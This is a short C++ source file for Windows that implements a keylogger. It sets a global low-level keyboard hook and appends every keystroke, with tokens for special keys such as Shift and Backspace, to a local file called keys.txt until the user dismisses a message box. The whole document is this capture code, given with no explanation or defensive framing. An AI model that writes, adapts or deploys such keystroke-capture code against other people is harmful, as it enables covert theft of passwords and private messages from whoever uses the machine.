#define _WIN32_WINNT 0x0500     #include<fstream>  #include<windows.h>     using namespace std;     ofstream out("keys.txt", ios::out);     LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {      PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);             // If key is being pressed      if (wParam == WM_KEYDOWN) {          switch (p->vkCode) {                 // Invisible keys              case VK_CAPITAL:    out << "<CAPLOCK>";     break;              case VK_SHIFT:      out << "<SHIFT>";       break;              case VK_LCONTROL:   out << "<LCTRL>";       break;              case VK_RCONTROL:   out << "<RCTRL>";       break;              case VK_INSERT:     out << "<INSERT>";      break;              case VK_END:        out << "<END>";         break;              case VK_PRINT:      out << "<PRINT>";       break;              case VK_DELETE:     out << "<DEL>";         break;              case VK_BACK:       out << "<BK>";          break;                 case VK_LEFT:       out << "<LEFT>";        break;              case VK_RIGHT:      out << "<RIGHT>";       break;              case VK_UP:         out << "<UP>";          break;              case VK_DOWN:       out << "<DOWN>";        break;                 // Visible keys              default:                  out << char(tolower(p->vkCode));             }      }         return CallNextHookEx(NULL, nCode, wParam, lParam);  }     int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {         // Set windows hook      HHOOK keyboardHook = SetWindowsHookEx(          WH_KEYBOARD_LL,          keyboardHookProc,          hInstance,          0);         MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);         out.close();         return 0;  }